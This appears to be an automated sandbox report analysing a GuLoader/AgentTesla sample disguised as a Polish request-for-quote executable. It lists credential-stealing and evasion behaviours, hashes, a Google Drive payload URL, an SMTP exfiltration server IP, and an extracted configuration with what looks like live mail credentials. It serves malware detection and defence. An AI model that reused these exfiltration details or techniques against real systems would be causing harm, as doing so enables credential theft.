Windows Analysis Report Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe

Overview

General Information

Sample Name: Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe
Analysis ID: 1383
MD5: 419a3e9ce6606d5ed7b22a7574e1a294
SHA1: 7c08e8f1f4f478df9baf5d00675bd174467621bc
SHA256: 3ebfb7cdc30291bcc995951dda1d8f62cea3e0beb990e35fabb3078b6d9d9921
Infos:

Most interesting Screenshot:

Detection

AgentTesla GuLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected AgentTesla
Sigma detected: RegAsm connects to smtp port
Yara detected GuLoader
Hides threads from debuggers
Writes to foreign memory regions
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to detect Any.run
Tries to harvest and steal ftp login credentials
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to steal Mail credentials (via file access)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Tries to harvest and steal browser information (history, passwords, etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
Yara detected Credential Stealer
JA3 SSL client fingerprint seen in connection with other malware
Creates processes with suspicious names
IP address seen in connection with other malware
Contains functionality for execution timing, often used to detect debuggers
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
PE file contains strange resources
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Detected TCP or UDP traffic on non-standard ports
Checks if the current process is being debugged
Uses SMTP (mail sending)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Uses Microsoft's Enhanced Cryptographic Provider
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

AV Detection:

barindex
Found malware configuration
Source: RegAsm.exe.9012.16.memstrmin Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "SMTP Info": "murbano@reyesyasociados.com495QTi314mail.reyesyasociados.comvirwuh@gmail.com"}
Multi AV Scanner detection for submitted file
Source: Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Virustotal: Detection: 32% Perma Link
Source: Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe ReversingLabs: Detection: 59%

Cryptography:

barindex
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 16_2_011C6AC0 CryptUnprotectData, 16_2_011C6AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 16_2_011C7211 CryptUnprotectData, 16_2_011C7211

Compliance:

barindex
Uses 32bit PE files
Source: Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Source: unknown HTTPS traffic detected: 142.250.185.174:443 -> 192.168.11.20:49726 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.185.193:443 -> 192.168.11.20:49727 version: TLS 1.2

Networking:

barindex
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: IOMART-ASGB IOMART-ASGB
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 109.169.39.245 109.169.39.245
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /uc?export=download&id=13YjZJAZqkYRBpSLq3kNAObzs8kDFmm8g HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/hfb1eo2pc77l1m3ao72uchj4vo9g7ss2/1632826875000/00519186742208262786/*/13YjZJAZqkYRBpSLq3kNAObzs8kDFmm8g?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-0o-50-docs.googleusercontent.comConnection: Keep-Alive
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.11.20:49748 -> 109.169.39.245:587
Uses SMTP (mail sending)
Source: global traffic TCP traffic: 192.168.11.20:49748 -> 109.169.39.245:587
Source: unknown Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: RegAsm.exe, 00000010.00000002.5652953298.000000001DF51000.00000004.00000001.sdmp String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: RegAsm.exe, 00000010.00000002.5652953298.000000001DF51000.00000004.00000001.sdmp String found in binary or memory: http://DynDns.comDynDNS
Source: RegAsm.exe, 00000010.00000002.5655252764.000000001E064000.00000004.00000001.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: RegAsm.exe, 00000010.00000002.5634097165.00000000012F0000.00000004.00000020.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: RegAsm.exe, 00000010.00000002.5655252764.000000001E064000.00000004.00000001.sdmp String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: RegAsm.exe, 00000010.00000002.5655252764.000000001E064000.00000004.00000001.sdmp String found in binary or memory: http://crl.comodoca.com/cPanelIncCertificationAuthority.crl0
Source: RegAsm.exe, 00000010.00000002.5634097165.00000000012F0000.00000004.00000020.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: RegAsm.exe, 00000010.00000002.5652953298.000000001DF51000.00000004.00000001.sdmp, RegAsm.exe, 00000010.00000003.1969551904.0000000001381000.00000004.00000001.sdmp, RegAsm.exe, 00000010.00000002.5655175240.000000001E060000.00000004.00000001.sdmp, RegAsm.exe, 00000010.00000002.5655609885.000000001E08E000.00000004.00000001.sdmp String found in binary or memory: http://isQqqrU1x3qSl4S.net
Source: RegAsm.exe, 00000010.00000002.5655252764.000000001E064000.00000004.00000001.sdmp String found in binary or memory: http://mail.reyesyasociados.com
Source: RegAsm.exe, 00000010.00000002.5655252764.000000001E064000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: RegAsm.exe, 00000010.00000002.5652953298.000000001DF51000.00000004.00000001.sdmp String found in binary or memory: http://omoYjp.com
Source: RegAsm.exe, 00000010.00000003.1053028532.0000000001334000.00000004.00000001.sdmp String found in binary or memory: https://csp.withgoogle.com/csp/drive-explorer/
Source: RegAsm.exe, 00000010.00000002.5633250471.00000000012CE000.00000004.00000020.sdmp String found in binary or memory: https://doc-0o-50-docs.googleusercontent.com/
Source: RegAsm.exe, 00000010.00000003.1057519355.000000000134A000.00000004.00000001.sdmp, RegAsm.exe, 00000010.00000003.1053028532.0000000001334000.00000004.00000001.sdmp String found in binary or memory: https://doc-0o-50-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/hfb1eo2p
Source: RegAsm.exe, 00000010.00000002.5631737424.0000000001288000.00000004.00000020.sdmp String found in binary or memory: https://drive.google.com/
Source: RegAsm.exe, 00000010.00000002.5631737424.0000000001288000.00000004.00000020.sdmp String found in binary or memory: https://drive.google.com/OxH
Source: RegAsm.exe, 00000010.00000003.1056702167.00000000012FC000.00000004.00000001.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=13YjZJAZqkYRBpSLq3kNAObzs8kDFmm8g
Source: RegAsm.exe, 00000010.00000003.1056702167.00000000012FC000.00000004.00000001.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=13YjZJAZqkYRBpSLq3kNAObzs8kDFmm8gE
Source: RegAsm.exe, 00000010.00000002.5627003860.0000000000BF0000.00000004.00000001.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=13YjZJAZqkYRBpSLq3kNAObzs8kDFmm8gwininet.dllMozilla/5
Source: RegAsm.exe, 00000010.00000002.5631737424.0000000001288000.00000004.00000020.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=13YjZJAZqkYRBpSLq3kNAObzs8kDFmm8gzgV
Source: RegAsm.exe, 00000010.00000002.5655252764.000000001E064000.00000004.00000001.sdmp String found in binary or memory: https://sectigo.com/CPS0
Source: RegAsm.exe, 00000010.00000002.5652953298.000000001DF51000.00000004.00000001.sdmp String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha
Source: unknown DNS traffic detected: queries for: drive.google.com
Source: global traffic HTTP traffic detected: GET /uc?export=download&id=13YjZJAZqkYRBpSLq3kNAObzs8kDFmm8g HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/hfb1eo2pc77l1m3ao72uchj4vo9g7ss2/1632826875000/00519186742208262786/*/13YjZJAZqkYRBpSLq3kNAObzs8kDFmm8g?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-0o-50-docs.googleusercontent.comConnection: Keep-Alive
Source: unknown HTTPS traffic detected: 142.250.185.174:443 -> 192.168.11.20:49726 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.185.193:443 -> 192.168.11.20:49727 version: TLS 1.2

System Summary:

barindex
Uses 32bit PE files
Source: Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Detected potential crypto function
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 16_2_00E41130 16_2_00E41130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 16_2_00E43A50 16_2_00E43A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 16_2_00E4BA58 16_2_00E4BA58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 16_2_00E44320 16_2_00E44320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 16_2_00E4C7B8 16_2_00E4C7B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 16_2_00E43708 16_2_00E43708
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 16_2_00E56AC8 16_2_00E56AC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 16_2_00E50890 16_2_00E50890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 16_2_01157C90 16_2_01157C90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 16_2_0115BF78 16_2_0115BF78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 16_2_0115AE68 16_2_0115AE68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 16_2_01156518 16_2_01156518
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 16_2_01151D28 16_2_01151D28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 16_2_0115B710 16_2_0115B710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 16_2_011CB5B0 16_2_011CB5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 16_2_011CA1D0 16_2_011CA1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 16_2_011CE038 16_2_011CE038
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 16_2_011C3C68 16_2_011C3C68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 16_2_011CDA20 16_2_011CDA20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 16_2_011C2AF0 16_2_011C2AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 16_2_011C89B8 16_2_011C89B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 16_2_011C7E48 16_2_011C7E48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 16_2_1D395550 16_2_1D395550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 16_2_1D393588 16_2_1D393588
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 16_2_1D390040 16_2_1D390040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 16_2_1D395F60 16_2_1D395F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 16_2_1D39A510 16_2_1D39A510
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 16_2_1D39003F 16_2_1D39003F
Sample file is different than original file name gathered from version info
Source: Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe, 00000005.00000002.1079227270.0000000000415000.00000002.00020000.sdmp Binary or memory string: OriginalFilenameSOOTIER.exe vs Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe
Source: Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Binary or memory string: OriginalFilenameSOOTIER.exe vs Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe
PE file contains strange resources
Source: Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Tries to load missing DLLs
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Section loaded: edgegdi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: edgegdi.dll Jump to behavior
Source: Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Virustotal: Detection: 32%
Source: Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe ReversingLabs: Detection: 59%
Source: Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Section loaded: C:\Windows\SysWOW64\msvbvm60.dll Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe 'C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe'
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe'
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe'
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe'
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe' Jump to behavior
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe' Jump to behavior
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe' Jump to behavior
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe' Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe File created: C:\Users\user\AppData\Local\Temp\~DF68469574045BB466.TMP Jump to behavior
Source: classification engine Classification label: mal100.spre.troj.spyw.evad.winEXE@10/1@4/3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3996:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3996:304:WilStaging_02
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior

Data Obfuscation:

barindex
Yara detected GuLoader
Source: Yara match File source: 00000005.00000002.1080090056.0000000002250000.00000040.00000001.sdmp, type: MEMORY
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Code function: 5_2_00405846 push edi; retf 5_2_0040585F
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Code function: 5_2_00405D7E push edx; iretd 5_2_00405D7F
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Code function: 5_2_00402B90 push ebx; retf 5_2_00402B96
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Code function: 5_2_02254672 push ds; iretd 5_2_022546C3
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Code function: 5_2_022546F2 push ds; iretd 5_2_022546C3
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Code function: 5_2_022506CA push 00000060h; ret 5_2_022506CD
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Code function: 5_2_02256314 push eax; iretd 5_2_02256363
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Code function: 5_2_022505C9 push ecx; retf 5_2_022505D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 16_2_00E45EE9 push ebx; iretd 16_2_00E45EF6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 16_2_011CCE60 push 796C0114h; iretd 16_2_011CD1C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 16_2_1D395500 push edi; iretd 16_2_1D39554E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 16_2_1D394438 pushfd ; ret 16_2_1D395419

Persistence and Installation Behavior:

barindex
Creates processes with suspicious names
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe File created: \zapytanie ofertowe (shelmo sp. z o.o. 09272021).exe
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe File created: \zapytanie ofertowe (shelmo sp. z o.o. 09272021).exe
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe File created: \zapytanie ofertowe (shelmo sp. z o.o. 09272021).exe
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe File created: \zapytanie ofertowe (shelmo sp. z o.o. 09272021).exe
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe File created: \zapytanie ofertowe (shelmo sp. z o.o. 09272021).exe Jump to behavior
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe File created: \zapytanie ofertowe (shelmo sp. z o.o. 09272021).exe Jump to behavior
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe File created: \zapytanie ofertowe (shelmo sp. z o.o. 09272021).exe Jump to behavior
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe File created: \zapytanie ofertowe (shelmo sp. z o.o. 09272021).exe Jump to behavior
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
